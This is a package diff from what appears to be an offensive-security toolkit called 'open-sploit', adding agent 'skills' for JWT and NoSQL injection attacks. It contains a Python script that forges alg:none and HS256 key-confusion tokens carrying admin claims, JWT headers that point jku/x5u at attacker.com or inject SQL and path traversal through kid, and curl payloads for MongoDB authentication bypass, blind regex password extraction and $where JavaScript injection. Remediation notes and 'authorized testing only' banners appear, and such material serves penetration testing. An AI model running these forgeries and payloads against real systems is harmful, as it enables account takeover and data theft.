open-sploit 1.2.0

package/template/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md

@@ -0,0 +1,99 @@
+# API Reference: JWT Algorithm Confusion Attack
+
+## JWT Structure
+
+### Three parts (dot-separated, Base64URL-encoded)
+```
+<header>.<payload>.<signature>
+```
+
+### Header
+```json
+{"alg": "RS256", "typ": "JWT"}
+```
+
+### Common Algorithms
+| Algorithm | Type | Key |
+|-----------|------|-----|
+| HS256 | HMAC | Symmetric shared secret |
+| RS256 | RSA | Asymmetric key pair |
+| ES256 | ECDSA | Asymmetric key pair |
+| none | None | No signature |
+
+## Algorithm Confusion Attack
+
+### Attack Flow
+1. Server uses RS256 (asymmetric) with public/private key pair
+2. Attacker obtains server's RSA public key
+3. Attacker changes `alg` header from RS256 to HS256
+4. Attacker signs token with the RSA public key as HMAC secret
+5. Server verifies with public key using HMAC (accepts token)
+
+### Forging with Public Key
+```python
+import hmac, hashlib, base64, json
+
+header = base64url(json.dumps({"alg": "HS256", "typ": "JWT"}))
+payload = base64url(json.dumps({"sub": "admin"}))
+signature = hmac.new(public_key_bytes, f"{header}.{payload}", hashlib.sha256)
+token = f"{header}.{payload}.{base64url(signature)}"
+```
+
+## None Algorithm Attack
+
+### Forged Token
+```python
+header = base64url('{"alg":"none","typ":"JWT"}')
+payload = base64url('{"sub":"admin","admin":true}')
+token = f"{header}.{payload}."
+```
+
+## JWT Header Injection Attacks
+
+### JKU (JSON Web Key Set URL)
+```json
+{"alg": "RS256", "jku": "https://attacker.com/.well-known/jwks.json"}
+```
+
+### X5U (X.509 URL)
+```json
+{"alg": "RS256", "x5u": "https://attacker.com/cert.pem"}
+```
+
+### KID (Key ID) — SQL Injection
+```json
+{"alg": "HS256", "kid": "key1' UNION SELECT 'secret'--"}
+```
+
+### KID — Path Traversal
+```json
+{"alg": "HS256", "kid": "../../dev/null"}
+```
+
+## Python PyJWT Library
+
+### Decode without verification
+```python
+import jwt
+decoded = jwt.decode(token, options={"verify_signature": False})
+```
+
+### Verify with algorithm restriction
+```python
+decoded = jwt.decode(token, public_key, algorithms=["RS256"])
+```
+
+## jwt_tool — JWT Testing Tool
+
+### Scan for vulnerabilities
+```bash
+python3 jwt_tool.py <token> -M at    # All tests
+python3 jwt_tool.py <token> -X a     # alg:none attack
+python3 jwt_tool.py <token> -X k -pk public.pem  # Key confusion
+```
+
+## Remediation
+1. Always specify allowed algorithms: `algorithms=["RS256"]`
+2. Never accept `alg: none`
+3. Use separate verification logic for symmetric vs asymmetric
+4. Validate JKU/X5U against allowlist

package/template/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py

@@ -0,0 +1,132 @@
+#!/usr/bin/env python3
+"""Agent for testing JWT algorithm confusion vulnerabilities."""
+
+import argparse
+import base64
+import hashlib
+import hmac
+import json
+from datetime import datetime, timezone
+
+
+def decode_jwt(token):
+    """Decode a JWT token without verification."""
+    parts = token.split(".")
+    if len(parts) != 3:
+        return None
+    header = json.loads(base64.urlsafe_b64decode(parts[0] + "=="))
+    payload = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
+    return {"header": header, "payload": payload, "signature": parts[2]}
+
+
+def forge_none_alg(payload_dict):
+    """Create a JWT with alg:none (CVE in some libraries)."""
+    header = base64.urlsafe_b64encode(
+        json.dumps({"alg": "none", "typ": "JWT"}).encode()
+    ).rstrip(b"=").decode()
+    payload = base64.urlsafe_b64encode(
+        json.dumps(payload_dict).encode()
+    ).rstrip(b"=").decode()
+    return f"{header}.{payload}."
+
+
+def forge_hs256_with_public_key(payload_dict, public_key_pem):
+    """Forge JWT by signing with RSA public key as HMAC secret (alg confusion)."""
+    header = base64.urlsafe_b64encode(
+        json.dumps({"alg": "HS256", "typ": "JWT"}).encode()
+    ).rstrip(b"=").decode()
+    payload = base64.urlsafe_b64encode(
+        json.dumps(payload_dict).encode()
+    ).rstrip(b"=").decode()
+    signing_input = f"{header}.{payload}".encode()
+    key_bytes = public_key_pem.encode() if isinstance(public_key_pem, str) else public_key_pem
+    signature = hmac.new(key_bytes, signing_input, hashlib.sha256).digest()
+    sig_b64 = base64.urlsafe_b64encode(signature).rstrip(b"=").decode()
+    return f"{header}.{payload}.{sig_b64}"
+
+
+def analyze_jwt(token):
+    """Analyze a JWT for common vulnerabilities."""
+    decoded = decode_jwt(token)
+    if not decoded:
+        return {"error": "Invalid JWT format"}
+
+    findings = []
+    header = decoded["header"]
+    payload = decoded["payload"]
+
+    alg = header.get("alg", "")
+    if alg.lower() == "none":
+        findings.append({"issue": "Algorithm set to 'none'", "severity": "CRITICAL"})
+    if header.get("jku"):
+        findings.append({"issue": f"JKU header present: {header['jku']}", "severity": "HIGH"})
+    if header.get("x5u"):
+        findings.append({"issue": f"X5U header present: {header['x5u']}", "severity": "HIGH"})
+    if header.get("kid"):
+        findings.append({"issue": f"KID header: {header['kid']}", "severity": "MEDIUM"})
+
+    exp = payload.get("exp")
+    if exp:
+        from datetime import datetime as dt
+        exp_dt = dt.fromtimestamp(exp, tz=timezone.utc)
+        if exp_dt < dt.now(timezone.utc):
+            findings.append({"issue": f"Token expired: {exp_dt.isoformat()}", "severity": "LOW"})
+    else:
+        findings.append({"issue": "No expiration claim", "severity": "MEDIUM"})
+
+    if payload.get("admin") or payload.get("role") in ("admin", "root"):
+        findings.append({"issue": "Admin role in payload", "severity": "INFO"})
+
+    return {
+        "header": header,
+        "payload": payload,
+        "algorithm": alg,
+        "findings": findings,
+    }
+
+
+def main():
+    parser = argparse.ArgumentParser(
+        description="Test JWT algorithm confusion vulnerabilities (authorized testing only)"
+    )
+    parser.add_argument("--token", help="JWT token to analyze")
+    parser.add_argument("--forge-none", action="store_true", help="Forge alg:none token")
+    parser.add_argument("--forge-hs256", help="Path to RSA public key for alg confusion")
+    parser.add_argument("--payload", help="JSON payload for forged token")
+    parser.add_argument("--output", "-o", help="Output JSON report")
+    args = parser.parse_args()
+
+    print("[*] JWT Algorithm Confusion Testing Agent")
+    print("[!] For authorized security testing only")
+    report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []}
+
+    if args.token:
+        analysis = analyze_jwt(args.token)
+        report["findings"].append({"type": "analysis", **analysis})
+        print(f"[*] Algorithm: {analysis.get('algorithm', 'unknown')}")
+        print(f"[*] Issues: {len(analysis.get('findings', []))}")
+
+    payload_dict = json.loads(args.payload) if args.payload else {"sub": "admin", "admin": True}
+
+    if args.forge_none:
+        forged = forge_none_alg(payload_dict)
+        report["findings"].append({"type": "forge_none", "token": forged})
+        print(f"[*] Forged alg:none token: {forged[:60]}...")
+
+    if args.forge_hs256:
+        with open(args.forge_hs256, "r") as f:
+            pub_key = f.read()
+        forged = forge_hs256_with_public_key(payload_dict, pub_key)
+        report["findings"].append({"type": "forge_hs256_confusion", "token": forged[:60] + "..."})
+        print(f"[*] Forged HS256 confusion token generated")
+
+    if args.output:
+        with open(args.output, "w") as f:
+            json.dump(report, f, indent=2)
+        print(f"[*] Report saved to {args.output}")
+    else:
+        print(json.dumps(report, indent=2))
+
+
+if __name__ == "__main__":
+    main()

package/template/skills/exploiting-nosql-injection-vulnerabilities/LICENSE

@@ -0,0 +1,201 @@
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to the Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by the Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding any notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. Please do not remove or change
+      the license header comment from a contributed file except when
+      necessary.
+
+   Copyright 2026 mukul975
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

package/template/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md

@@ -0,0 +1,219 @@
+---
+name: exploiting-nosql-injection-vulnerabilities
+description: Detect and exploit NoSQL injection vulnerabilities in MongoDB, CouchDB,
+  and other NoSQL databases to demonstrate authentication bypass, data extraction,
+  and unauthorized access risks.
+domain: cybersecurity
+subdomain: web-application-security
+tags:
+- nosql-injection
+- mongodb
+- authentication-bypass
+- injection-attack
+- web-security
+- database-security
+- api-testing
+version: '1.0'
+author: mahipal
+license: Apache-2.0
+nist_csf:
+- PR.PS-01
+- ID.RA-01
+- PR.DS-10
+- DE.CM-01
+mitre_attack:
+- T1190
+- T1059.007
+- T1505.003
+- T1083
+- T1055
+---
+
+# Exploiting NoSQL Injection Vulnerabilities
+
+## When to Use
+- During web application penetration testing of applications using NoSQL databases
+- When testing authentication mechanisms backed by MongoDB or similar databases
+- When assessing APIs that accept JSON input for database queries
+- During bug bounty hunting on applications with NoSQL backends
+- When performing security code review of database query construction
+
+## Prerequisites
+- Burp Suite Professional or Community Edition with JSON support
+- NoSQLMap tool installed (`pip install nosqlmap` or from GitHub)
+- Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists)
+- Target application using a NoSQL database (MongoDB, CouchDB, Cassandra)
+- Proxy configured for HTTP traffic interception
+- Python 3.x for custom payload scripting
+
+## Workflow
+
+### Step 1 — Identify NoSQL Injection Points
+```bash
+# Look for JSON-based login forms or API endpoints
+# Common indicators: application accepts JSON POST bodies, uses MongoDB
+# Test with basic syntax-breaking characters
+curl -X POST http://target.com/api/login \
+  -H "Content-Type: application/json" \
+  -d '{"username": "admin\"", "password": "test"}'
+
+# Test for operator injection in query parameters
+curl "http://target.com/api/users?username[$ne]=invalid"
+
+# Check for error-based detection
+curl -X POST http://target.com/api/search \
+  -H "Content-Type: application/json" \
+  -d '{"query": {"$gt": ""}}'
+```
+
+### Step 2 — Perform Authentication Bypass
+```bash
+# Basic authentication bypass with $ne operator
+curl -X POST http://target.com/api/login \
+  -H "Content-Type: application/json" \
+  -d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'
+
+# Bypass with $gt operator
+curl -X POST http://target.com/api/login \
+  -H "Content-Type: application/json" \
+  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
+
+# Target specific user with regex
+curl -X POST http://target.com/api/login \
+  -H "Content-Type: application/json" \
+  -d '{"username": "admin", "password": {"$regex": ".*"}}'
+
+# Bypass using $exists operator
+curl -X POST http://target.com/api/login \
+  -H "Content-Type: application/json" \
+  -d '{"username": {"$exists": true}, "password": {"$exists": true}}'
+```
+
+### Step 3 — Extract Data Using Boolean-Based Blind Injection
+```bash
+# Extract username character by character using $regex
+# Test if first character of admin password is 'a'
+curl -X POST http://target.com/api/login \
+  -H "Content-Type: application/json" \
+  -d '{"username": "admin", "password": {"$regex": "^a"}}'
+
+# Test if first two characters are 'ab'
+curl -X POST http://target.com/api/login \
+  -H "Content-Type: application/json" \
+  -d '{"username": "admin", "password": {"$regex": "^ab"}}'
+
+# Enumerate usernames with regex
+curl -X POST http://target.com/api/login \
+  -H "Content-Type: application/json" \
+  -d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'
+```
+
+### Step 4 — Exploit JavaScript Injection via $where
+```bash
+# JavaScript injection through $where operator
+curl -X POST http://target.com/api/search \
+  -H "Content-Type: application/json" \
+  -d '{"$where": "this.username == \"admin\""}'
+
+# Time-based detection with sleep
+curl -X POST http://target.com/api/search \
+  -H "Content-Type: application/json" \
+  -d '{"$where": "sleep(5000) || this.username == \"admin\""}'
+
+# Data exfiltration via $where with string comparison
+curl -X POST http://target.com/api/search \
+  -H "Content-Type: application/json" \
+  -d '{"$where": "this.password.match(/^a/) != null"}'
+```
+
+### Step 5 — Use NoSQLMap for Automated Testing
+```bash
+# Clone and setup NoSQLMap
+git clone https://github.com/codingo/NoSQLMap.git
+cd NoSQLMap
+python setup.py install
+
+# Run NoSQLMap against target
+python nosqlmap.py -u http://target.com/api/login \
+  --method POST \
+  --data '{"username":"test","password":"test"}'
+
+# Alternative: use nosqli scanner
+pip install nosqli
+nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'
+```
+
+### Step 6 — Test URL Parameter Injection
+```bash
+# Parameter-based injection (GET requests)
+curl "http://target.com/api/users?username[$ne]=&password[$ne]="
+curl "http://target.com/api/users?username[$regex]=admin&password[$gt]="
+curl "http://target.com/api/users?username[$exists]=true"
+
+# Array injection via URL parameters
+curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root"
+
+# Inject via HTTP headers if processed by backend
+curl http://target.com/api/profile \
+  -H "X-User-Id: {'\$ne': null}"
+```
+
+## Key Concepts
+
+| Concept | Description |
+|---------|-------------|
+| Operator Injection | Injecting MongoDB operators ($ne, $gt, $regex) into query parameters |
+| Authentication Bypass | Using operators to match any document and bypass login checks |
+| Blind Extraction | Character-by-character data extraction using $regex boolean responses |
+| $where Injection | Executing arbitrary JavaScript on the MongoDB server via $where operator |
+| Type Juggling | Exploiting how NoSQL databases handle different input types (string vs object) |
+| BSON Injection | Manipulating Binary JSON serialization in MongoDB wire protocol |
+| Server-Side JS | JavaScript execution context available in MongoDB for query evaluation |
+
+## Tools & Systems
+
+| Tool | Purpose |
+|------|---------|
+| NoSQLMap | Automated NoSQL injection detection and exploitation framework |
+| Burp Suite | HTTP proxy for intercepting and modifying JSON requests |
+| MongoDB Shell | Direct database interaction for testing query behavior |
+| nosqli | Dedicated NoSQL injection scanner and exploitation tool |
+| PayloadsAllTheThings | Curated NoSQL injection payload repository |
+| Nuclei | Template-based scanner with NoSQL injection detection templates |
+| Postman | API testing platform for crafting NoSQL injection requests |
+
+## Common Scenarios
+
+1. **Login Bypass** — Bypass MongoDB-backed authentication using `{"$ne": ""}` operator injection in username and password fields
+2. **Data Enumeration** — Extract database contents character by character using `$regex` blind injection when no direct output is visible
+3. **Privilege Escalation** — Modify user role fields through NoSQL injection in profile update endpoints
+4. **API Key Extraction** — Extract API keys or tokens stored in MongoDB collections through boolean-based blind techniques
+5. **Account Takeover** — Enumerate valid usernames via regex injection then brute-force passwords through operator-based authentication bypass
+
+## Output Format
+
+```
+## NoSQL Injection Assessment Report
+- **Target**: http://target.com/api/login
+- **Database**: MongoDB 6.0
+- **Vulnerability Type**: Operator Injection (Authentication Bypass)
+- **Severity**: Critical (CVSS 9.8)
+
+### Vulnerable Parameters
+| Endpoint | Parameter | Injection Type | Impact |
+|----------|-----------|---------------|--------|
+| POST /api/login | username | Operator ($ne) | Auth Bypass |
+| POST /api/login | password | Regex ($regex) | Data Extraction |
+| GET /api/users | id | $where JS Injection | RCE Potential |
+
+### Proof of Concept
+- Authentication bypass achieved with: {"username":{"$ne":""},"password":{"$ne":""}}
+- Extracted 3 admin passwords via blind regex injection
+- JavaScript execution confirmed via $where operator
+
+### Remediation
+- Use parameterized queries with MongoDB driver sanitization
+- Implement input type validation (reject objects where strings expected)
+- Disable server-side JavaScript execution ($where) in MongoDB config
+- Apply least-privilege database access controls
+```

package/template/skills/exploiting-nosql-injection-vulnerabilities/assets/template.md

@@ -0,0 +1,30 @@
+# NoSQL Injection Assessment Report Template
+
+## Target Information
+- **Application URL**: [url]
+- **Database Type**: MongoDB / CouchDB / Other
+- **Assessment Date**: [date]
+- **Tester**: [name]
+
+## Findings Summary
+
+| Finding | Severity | Endpoint | Impact |
+|---------|----------|----------|--------|
+| Operator Injection | Critical | POST /api/login | Authentication Bypass |
+| Blind Regex Extraction | High | POST /api/login | Data Leakage |
+| $where JS Injection | Critical | POST /api/search | Potential RCE |
+
+## Detailed Findings
+
+### Finding 1: Authentication Bypass via Operator Injection
+- **Endpoint**: POST /api/login
+- **Payload**: `{"username":{"$ne":""},"password":{"$ne":""}}`
+- **Impact**: Complete authentication bypass allowing access to any account
+- **CVSS Score**: 9.8 (Critical)
+
+### Remediation Steps
+1. Validate input types — reject objects/arrays where strings are expected
+2. Use MongoDB driver parameterized query methods
+3. Implement server-side schema validation with JSON Schema
+4. Disable $where and mapReduce JavaScript execution
+5. Apply least-privilege database user permissions